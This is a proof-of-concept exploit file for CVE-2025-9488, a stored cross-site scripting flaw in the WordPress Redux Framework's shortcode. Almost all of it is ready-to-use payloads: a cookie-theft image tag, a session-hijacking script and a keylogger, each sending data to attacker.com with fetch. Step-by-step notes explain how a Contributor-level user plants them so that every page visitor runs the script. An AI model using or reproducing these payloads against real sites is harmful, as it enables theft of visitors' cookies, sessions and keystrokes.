CVE-2025-9488

<!-- WordPress Redux Framework XSS PoC - CVE-2025-9488 --> <!-- Requires Contributor-level access --> <!-- Method 1: Via WordPress Shortcode --> [redux data='<script>console.log("XSS Triggered - CVE-2025-9488")</script>'] <!-- Method 2: Cookie Theft Payload --> [redux data='<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'] <!-- Method 3: Session Hijacking Payload --> [redux data='<script>fetch("https://attacker.com/log?data="+btoa(document.cookie))</script>'] <!-- Method 4: Keylogger Payload --> [redux data='<script>document.addEventListener("keypress",function(e){fetch("https://attacker.com/k?"+e.key)})</script>'] <!-- HTML Context --> <div class="redux-data-container" data-value='<script>alert("XSS")</script>'></div> <!-- Exploitation Note: 1. Create new post/page as Contributor user 2. Insert any of the above payloads in content 3. Publish or schedule the post 4. Any user viewing the page will execute the injected script -->

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